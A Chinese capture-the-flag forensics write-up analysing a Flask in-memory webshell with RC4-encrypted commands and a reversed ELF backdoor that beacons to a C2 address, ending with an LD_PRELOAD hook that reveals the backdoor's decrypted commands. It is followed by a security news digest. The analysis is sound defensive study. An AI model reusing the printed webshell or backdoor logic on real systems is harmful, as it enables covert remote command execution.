攻击者上传了一个二进制后门,请写出木马进程执行的本体文件的名称,结果提交形式:flag{xxxxx},仅写文件名不加路径
我们来分析上一题我们得到的shell代码
global exc_classglobal codeimport os,binasciiexc_class, code = app._get_exc_class_and_code(404)RC4_SECRET = b'v1p3r_5tr1k3_k3y'def rc4_crypt(data: bytes, key: bytes) -> bytes: S = list(range(256)) j = 0 for i in range(256): j = (j + S[i] + key[i % len(key)]) % 256 S[i], S[j] = S[j], S[i] i = j = 0 r
这段代码是一个典型的Python 内存马,它被挂载在 Flask 等框架的 404 错误处理句柄上
要找到攻击者上传的二进制后门文件名,从流量分析入手,利用这段代码提供的加密逻辑进行解密
HTTP 请求头中包含 X-Token-Auth: 3011aa21232beb7504432bfa90d32779,攻击命令通过 POST 参数 data 传递,数据格式为十六进制字符串
采用了 RC4 算法,关键密钥:v1p3r_5tr1k3_k3y,解密后的命令通过 os.popen(cmd) 执行,结果再次 RC4 加密并以 Hex 形式返回
那我们可以在 Wireshark 或流量分析工具中,筛选出符合以下特征的流量:
http contains "X-Token-Auth"
找到那些 POST 请求,复制 data 参数后面的十六进制字符串,带入到以下脚本一个个去试
import binasciidef rc4_crypt(data: bytes, key: bytes) -> bytes: S = list(range(256)) j = 0 for i in range(256): j = (j + S[i] + key[i % len(key)]) % 256 S[i], S[j] = S[j], S[i] i = j = 0 res = bytearray() for char in data: i = (i + 1) % 256 j = (j + S[i]) % 256 S[i], S[j] = S[j], S[i] res.append(cha
解密 1814 流的 Data:
Payload: bab6694ba3c9...
解密结果: unzip -P nf2jd092jd01 -d /tmp /tmp/123.zip
性质判定:这是一个系统命令,调用系统自带的 unzip 工具,它是在准备环境,不是在运行木马本体
解密 1817 流的 Data:
Payload: a2ae330da7846599188b26257a88f10b50790cb47e6a97177e1053c351
解密结果: mv /tmp/shell /tmp/python3.13
性质判定:
这里出现了一个绝对路径 /tmp/python3.13
它不是系统自带命令,Linux 并没有 python3.13 这个原生标准路径,且系统本身运行的是 3.12
定性:这行命令的作用是启动一个特定的二进制文件并让它持续驻留,这完全符合执行木马本体的行为定义
flag{python3.13}
5.SnakeBackdoor-5
请提取驻留的木马本体文件,通过逆向分析找出木马样本通信使用的加密密钥(hex,小写字母),结果提交形式:flag{[0-9a-f]+}
根据上题,1813流是在解压,所以可以提取流量包中传输的123.zip,所以往前翻,翻到1807流
PK开头就是有.zip压缩包了,显示选择为原始数据
将504b开头那些东西都复制下来保存到.txt文件内,通过以下脚本进行一个提取
import binascii#那段长十六进制字符串hex_data = "504b03041400090008002431955be01c1a3483100000f838000005001c007368656c6c555409000354d547695ad5476975780b000104000000000400000000b513d2ddc97797c8b164bf85a8cfb6162732440e1431884df99aae322636568e2824d8eadc31815e8d6b5dda1fc3d6ee45e91146de5248d321d8b87c65e27269dddb8aa4
发现解压需要密码,而根据1813流解出来的指令
unzip -P nf2jd092jd01 -d /tmp /tmp/123.zip
密码就是nf2jd092jd01,解压缩出东西来,然后ida启动,进入到main函数来
首先是木马尝试连接到控制端 IP 192.168.1.201,端口 58782
连接成功后,木马首先调用 sub_18ED 从服务器接收 4 个字节的数据存入 v7
代码对 v7 进行了字节序转换,大端转小端或反之,并将其作为 seed
调用 srand(seed) 初始化随机数生成器,通过循环 for ( i = 0; i <= 3; ++i ) v8[i] = rand(); 生成 4 个随机整数,一共16个字节
这里的 v8 数组就是后续对称加密算法,比如 AES使用的原始密钥
sub_13B4(v10, v8, 0LL):使用 v8 初始化解密状态,用于处理收到的指令
sub_13B4(v9, v8, 1LL):使用 v8 初始化加密状态,用于加密返回的结果
题目要求提交的是木马样本通信使用的加密密钥
根据代码,密钥是动态生成的,依赖于服务器发送的第一个 4 字节种子
在流量包中找到与 192.168.1.201:58782 的 TCP 流
找到 TCP 三次握手之后的第一条数据包,由服务器发往木马客户端
提取这前 4 个字节
因为由于该木马是 ELF 文件,它调用的 rand() 函数遵循的是 Linux glibc 的随机数生成算法
Python 自带的 random 库使用的是 Mersenne Twister 算法,与 C 语言的 rand() 完全不同
因此,Python 脚本必须通过 ctypes 库调用 Linux 系统的标准 C 库(libc.so.6)来获取一致的结果
但是我搞了好久也没有搞定,最后决定直接用C语言写得了
#include <stdio.h>#include <stdlib.h>#include <stdint.h>int main() { // 0x34, 0x95, 0x20, 0x46 // 在小端序机器上,这 4 个字节组成的 int v7 = 0x46209534 uint32_t v7 = 0x46209534; // 2. 模拟 IDA 中的字节序转换逻辑 uint32_t seed = ((v7 >> 8) & 0xFF00) | ((v7 << 8) & 0xFF0000) | (v7 << 24) | ((v7 >> 24) & 0xFF); printf("[*] Calc
找个C语言在线编译网址就可以了
6.SnakeBackdoor-6
请提交攻击者获取服务器中的flag。结果提交形式:flag{xxxx}
这里当时没有解出来,后面听别的师傅说是SM4加密,又是不懂的玩意,比赛完使用hook进行一个复现
参考资料:https://www.aristore.top/posts/CISCN2025Quals/#SnakeBackdoor-6
在上一题main 函数中,密文被解密后存入了 command 变量,随后立即执行了 popen(command, "r")
popen 是一个标准库函数,如果我们能写一个自己的 popen,当木马调用它时,系统跑的是我们设计好的代码,那就可以在我的代码里把 command 参数打印出来,所以popen 就是我们的泄密点
想要让程序运行到 popen 这一步,前面必须满足一系列条件
首先,连接必须成功:程序里有 if (connect(...) < 0) exit(1)
那我们伪造 connect,让它永远返回 0
其次,密钥必须正确,程序用 rand() 生成密钥
那么我们就劫持 rand(),不管程序怎么算,都让它吐出上一题那个ac46fb610b313b4f32fc642d8834b456密钥
接着必须有数据输入,程序用 sub_18ED,底层调用 recv,从网络读指令
所以要劫持 recv,当程序要读数据时,把流量包里的十六进制密文塞给它
所以整个恶意软件的运行逻辑就是
连接C2服务器 (connect) → 生成加密密钥 (rand × 4) → 接收密文长度 (recv) → 接收密文数据 (recv) → 解密命令 (内部解密函数) → 执行命令 (popen) → 回传结果 (send)
首先由于后续操作中需要处理大量十六进制字符串,首先需要一个辅助函数将十六进制字符串转换为二进制字节流
这个函数是整个 Hook 代码的基础设施,其他所有函数都会依赖它来进行数据格式转换
// 十六进制转二进制void hex_to_bin(const char *hex, unsigned char *bin) { size_t len = strlen(hex); for (size_t i = 0; i < len; i += 2) { sscanf(hex + i, "%2hhx", &bin[i / 2]); }}
这个函数的实现原理非常直接,遍历输入的十六进制字符串,每两个字符组成一个字节,使用 sscanf 的 %2hhx 格式说明符将其解析为一个字节值,并存储到目标缓冲区中
例如,十六进制字符串 "ac46fb61" 会被转换为字节序列 [0xac, 0x46, 0xfb, 0x61]
然后就是connect,让其return 0就可以了
int connect(int fd, const struct sockaddr *addr, socklen_t len) { return 0;}
接着,程序使用 伪随机数生成器来动态生成加密密钥
具体来说,程序首先从 C2 服务器接收一个 4 字节的种子值,然后用这个种子初始化 srand(),接着连续调用 4 次 rand() 生成 4 个 32 位整数,这 16 字节的数据就是加密密钥,也就是上一题得到的flagac46fb610b313b4f32fc642d8834b456,我们的目标是让程序在调用 rand() 时返回这个预定义密钥的各个部分
那么使用静态变量 key_bin 存储十六进制密钥的二进制形式,rand_call_count 跟踪 rand() 的调用次数,第一次调用时将十六进制密钥转换为二进制,后续每次调用时取出 4 字节数据作为 unsigned int 返回
const char *KEY_HEX = "ac46fb610b313b4f32fc642d8834b456";int rand(void) { static unsigned char key_bin[16]; static int rand_call_count = 0; static int inited = 0; // 转二进制 if (!inited) { hex_to_bin(KEY_HEX, key_bin); inited = 1; } // 每次调用取出 4 字节作为一个整数返回给 v8[i] if (rand_call_count < 4) { unsigned int
然后程序通过 recv() 系统调用从 C2 服务器接收数据
这里接收过程分为两步,首先接收 4 字节的密文长度,然后接收对应长度的密文数据,这个过程会重复多次,每一对长度,数据代表一条加密命令
这些密文数据来自流量包中的实际通信记录,通过 Wireshark 追踪流 1827,可以获取完整的密文长度和密文序列,也就是上一题追踪到的那些,这些数据被组织成一个 DATA 数组,每两个元素为一组:第一个是密文长度的十六进制表示,第二个是对应的密文
可以使用 recv_step 静态变量记录 recv() 的调用次数,根据调用次数的奇偶性来决定返回长度还是数据
第一次调用返回任意 4 字节作为握手包;奇数次调用(1、3、5...)返回当前密文的长度,也就是需要转换为网络字节序;偶数次调用(2、4、6...)返回对应的密文数据
const char *DATA[] = { "00000010", "49b351855f211b85bd012f80ce8ed5b3", "00000010", "2cc5becb37ca595a89445461c6512efc", "00000010", "b863696da0c6bb28da46e09069dd644f", "00000030", "87e8faa921f3e67c530f1b6740a9d439...", // ... 更多密文数据 ... NULL // 结束标记};ssize_t recv(int sockfd, void *buf, size_t len, in
程序解密命令后,会使用 popen() 函数执行解密后的 shell 命令
这是整个攻击链的终点,现在要执行了,我们的目标是在命令执行前将其打印出来,这样就能获取明文内容。
通过 Hook popen() 函数,在它被调用时打印传入的 command 参数,然后返回一个合法的文件指针(指向 /dev/null),让程序以为命令执行成功了
FILE *popen(const char *command, const char *type) { printf("%s\n", command); return fopen("/dev/null", "r");}
为了让程序稳定运行而不崩溃,还需要处理两个额外的函数
因为在 popen() 中返回的是 /dev/null 的普通文件流,而不是真正的进程管道
当程序后续调用 pclose() 尝试关闭这个假管道时,或者调用 send() 通过无效的 Socket 回传结果时,程序会报错退出
Hook pclose():当程序尝试关闭不存在的管道时,直接返回成功即可
Hook send():当程序尝试通过 Socket 发送数据时,直接返回发送长度,表示发送成功,但不真正执行任何网络操作
int pclose(FILE *stream) { if (stream) fclose(stream); return 0;}ssize_t send(int sockfd, const void *buf, size_t len, int flags) { return len;}
所以最终的hook.c代码就是把上述的都拼在一起即可
然后linux环境下执行终端命令
# 编译为共享库gcc -fPIC -shared -o hook.so hook.c -ldl# 使用 Hook 库运行木马程序LD_PRELOAD=./hook.so ./shell
LD_PRELOAD 环境变量告诉动态链接器在加载其他共享库之前先加载指定的库,这样我们 Hook 的函数就会优先于系统的同名函数被调用
学习了学习了,hook的好处就是不需要理解程序内部的加密算法实现,只需要知道加密密钥并控制程序的输入输出流程
7.总结
筛选定位:Wireshark过滤 http contains "keyword",追踪TCP流重组完整会话,异常特征:数据量过大、危险函数调用、多层编码
编码解码:Base64(字符集+4倍数长度)、Hex(0-9A-F)、URL编码,逐层解码到明文
加密分析:找到密钥硬编码位置或协议协商逻辑,实现加解密算法,注意跨平台rand()实现差异
恶意提取:识别PK头(ZIP)、明文脚本,提取还原攻击代码
高级Hook:当加密复杂时,用LD_PRELOAD劫持connect/rand/recv/popen,注入流量数据获取解密命令
【限时免费】2026网安冬令营报名火爆开启!
网络安全日报 2026年01月12日
1、Kimsuky黑客组织利用恶意二维码发起钓鱼攻击
https://thehackernews.com/2026/01/fbi-warns-north-korean-hackers-using.html 美国联邦调查局(FBI)发布预警,称朝鲜国家支持的Kimsuky组织正利用恶意二维码开展鱼叉式钓鱼(Quishing)攻击,目标涵盖美国智囊团、学术机构及美外国政府实体。攻击通过诱导受害者用防护较弱的移动设备扫码,绕过传统防御。该组织多次实施攻击,包括仿冒外国顾问、使馆人员等推送二维码,诱导访问受控基础设施或伪造登录页面窃取谷歌账号凭证。此类攻击常窃取会话令牌绕过多因素认证(MFA)劫持云身份,后续可建立持久控制并发起二次钓鱼,因源于未受管理
2、NodeCordRAT远控木马通过恶意NPM包进行传播
https://hackread.com/discord-nodecordrat-steal-chrome-data-npm-packages/ 研究人员发现,三款伪装成比特币库的恶意NPM包可传播NodeCordRAT远程控制木马,专门针对加密货币领域人群。这三款包名为bip40、bitcoin-lib-js、bitcoin-main-lib,累计下载量超3400次,仿冒合法bitcoinjs项目名称诱导开发者下载。安装前两款包会自动拉取含病毒的bip40,过程无任何提示。该木马通过Discord私人频道接收指令控制受感染设备,支持执行shell命令、截取桌面截图、窃取文件等操作,重点靶向
3、思科交换机因DNS客户端漏洞陷入重启循环
https://www.bleepingcomputer.com/news/security/cisco-switches-hit-by-reboot-loops-due-to-dns-client-bug/ 据报道,多款思科交换机因固件DNS客户端漏洞陷入反复重启循环,严重扰乱网络运营。该漏洞于凌晨2时左右开始显现,会将DNS解析失败判定为致命错误,导致设备重启,故障源于DNS客户端解析思科域名及NTP时间服务器时出错,重启周期仅数分钟。受影响型号包括CBS250、SG350、Catalyst C1200等系列,多个独立网络同期出现故障,推测为全球触发或时间相关条件所致。思科暂未公开根源,
4、委内瑞拉国有电信公司CANTV发生BGP泄露
https://securityonline.info/spy-games-or-glitch-the-truth-behind-venezuelas-bgp-leak/ 美国抓捕马杜罗军事行动前夕,委内瑞拉国有电信公司CANTV(AS8048)发生BGP泄露,部分分析人士猜测系美国政府蓄意劫持流量获取情报。但Cloudflare研究员经历史路由数据分析得出结论,该事件实为CANTV工程师技术失误与配置不当所致。2026年1月2日泄露发生时,CANTV流量异常转向安全声誉较差的意大利运营商Sparkle,但异常路径存在多次AS路径前置导致路由优先级极低,与刻意窃密行为不符。且CANTV自20
5、攻击者通过仿冒AI聊天的浏览器扩展窃取信息
https://hackread.com/fake-chatgpt-deepseek-extensions-spy-chrome-users/ 研究人员披露两款仿冒AI聊天的浏览器扩展暗中监视超90万Chrome用户,分别为“Chat GPT for Chrome with GPT-5”(60万安装量)和“AI Sidebar with Deepseek”(30万安装量)。两款扩展仿冒合法工具AITOPIA,其一还骗取谷歌“精选”标识,以“匿名分析”为由获取权限后,通过DOM抓取技术读取用户在ChatGPT、DeepSeek的聊天内容,每30分钟将提示词、AI回复、会话令牌等敏感数据发送至外
6、英国宣布强化公共部门网络防御计划
https://www.bleepingcomputer.com/news/security/uk-announces-plan-to-strengthen-public-sector-cyber-defenses/ 英国宣布一项新的网络安全战略,计划投入超2.1亿英镑(约合2.83亿美元)强化政府部门及更广泛公共部门的网络防御。该措施隶属于政府网络行动计划,将设立专门的政府网络部门协调风险管理与事件响应,旨在保障公民使用福利、医疗、税务等在线公共服务的安全。计划包含制定最低安全标准、提升政府网络风险可见性、要求部门具备强大应急响应能力等,还将推出软件安全大使计划,思科、帕洛阿尔托网络等多家
7、Astaroth银行木马利用WhatsApp在巴西传播
https://securityaffairs.com/186685/malware/astaroth-banking-trojan-spreads-in-brazil-via-whatsapp-worm.html 恶意软件Astaroth通过名为“Boto Cor-de-Rosa”的新活动,借助WhatsApp网页版以蠕虫形式传播。攻击始于含恶意ZIP文件的WhatsApp消息,用户打开后会运行伪装的VBScript脚本,下载并安装Astaroth木马及Python编写的WhatsApp传播模块。该恶意软件分为两大模块:传播模块窃取受害者WhatsApp联系人列表,自动发送含恶意ZIP的葡
8、Veeam发布安全更新修复软件中的多个漏洞
https://www.bleepingcomputer.com/news/security/new-veeam-vulnerabilities-expose-backup-servers-to-rce-attacks/ Veeam发布安全更新修复其Backup & Replication软件中的多个漏洞,含高危远程代码执行(RCE)漏洞CVE-2025-59470,该漏洞影响13.0.1.180及更早13系列版本,授权操作员可通过恶意参数执行代码。此次更新还修复另两个高危(CVE-2025-55125)和中危漏洞,攻击者可通过恶意备份配置文件或密码参数实现RCE。Veeam备份软件广泛应用
9、攻击者利用“MAESTRO”工具包实现ESXi虚拟机逃逸
https://securityonline.info/vm-isolation-is-not-absolute-researchers-unmask-sophisticated-esxi-maestro-exploit/ 攻击者利用“MAESTRO”工具包实现VMware ESXi虚拟机逃逸,夺取底层虚拟机管理程序控制权。攻击始于SonicWall VPN账号泄露,经横向移动后部署工具包,通过禁用VMware驱动、BYOVD技术加载恶意驱动突破防御。逃逸后,攻击者不再依赖防火墙可能捕捉到的标准网络连接,而是部署“VSOCKpuppet”后门,利用VSOCK通道隐蔽通信规避网络监控,VSOC
10、伊朗在全国抗议期间发生大规模互联网中断
https://techcrunch.com/2026/01/08/internet-collapses-in-iran-amid-protests-over-economic-crisis/ 据网络监测机构消息,伊朗在全国抗议期间发生大规模互联网中断。伊朗互联网陷入“近乎全面断网”状态,NetBlocks、Cloudflare等多家机构均监测到该国网络连接量骤降。此次断网源于2025年12月底爆发的全国抗议,抗议由货币大幅贬值引发,导致商品短缺、物价飙升,德黑兰传统集市部分商铺已停业11天,伊朗政府对抗议者实施了暴力镇压。伊朗网络安全研究员指出,对互联网拥有严密控制权的伊朗政府是此次断网的
声明
以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景科技观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景科技无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景科技一律不予承担。
第2页 第3页 第4页 第5页 第6页 第7页 第8页 第9页 第10页 第11页 第12页 第13页 第14页 第15页 第16页 第17页 第18页 第19页 第20页 第21页 第22页 第23页 第24页 第25页 第26页 第27页 第28页 第29页 第30页 第31页 第32页 第33页 第34页 第35页 第36页 第37页 第38页 第39页 第40页 第41页 第42页 第43页 第44页 第45页 第46页 第47页 第48页 第49页 第50页 第51页 第52页 第53页 第54页 第55页 第56页 第57页 第58页 第59页 第60页 第61页 第62页 第63页 第64页 第65页 第66页 第67页 第68页 第69页 第70页 第71页 第72页 第73页 第74页 第75页 第76页 第77页 第78页 第79页 第80页 第81页 第82页 第83页 第84页 第85页 第86页 第87页 第88页 第89页 第90页 第91页 第92页 第93页 第94页 第95页 第96页 第97页 第98页 第99页 第100页 第101页 第102页 第103页 第104页 第105页 第106页 第107页 第108页 第109页 第110页 第111页 第112页 第113页 第114页 第115页 第116页 第117页 第118页 第119页 第120页 第121页 第122页 第123页 第124页 第125页 第126页 第127页 第128页 第129页 第130页 第131页 第132页 第133页 第134页 第135页 第136页 第137页 第138页 第139页 第140页 第141页 第142页 第143页 第144页 第145页 第146页 第147页 第148页 第149页 第150页 第151页 第152页 第153页 第154页 第155页 第156页 第157页 第158页 第159页 第160页 第161页 第162页 第163页 第164页 第165页 第166页 第167页 第168页 第169页 第170页 第171页 第172页 第173页 第174页 第175页 第176页 第177页 第178页 第179页 第180页 第181页 第182页 第183页 第184页 第185页 第186页 第187页 第188页 第189页 第190页 第191页 第192页 第193页 第194页 第195页 第196页 第197页 第198页 第199页 第200页 第201页 第202页 第203页 第204页 第205页 第206页 第207页
蚁景网安学院火热招生中,限时领取大额优惠券,快来抢购吧~
扫码咨询客服了解招生最新内容和活动

